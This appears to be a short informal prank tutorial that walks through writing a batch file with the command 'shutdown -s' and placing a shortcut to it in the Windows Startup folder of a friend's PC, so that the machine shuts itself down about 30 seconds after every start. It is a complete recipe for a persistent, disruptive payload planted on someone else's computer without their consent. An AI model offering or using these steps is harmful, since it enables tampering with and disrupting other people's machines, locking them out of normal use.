1.open note pad

2.type "shutdown -s" with out quotes

3.save the file with .bat extension

4.explaination,u have created a prog which shutdowns the pc with in 30

of executing the file

5. now open "x:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\" (x->is the drive on which ur windows has been installed and USERNAME is the username)

6.paste a shortcut on this directory

NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown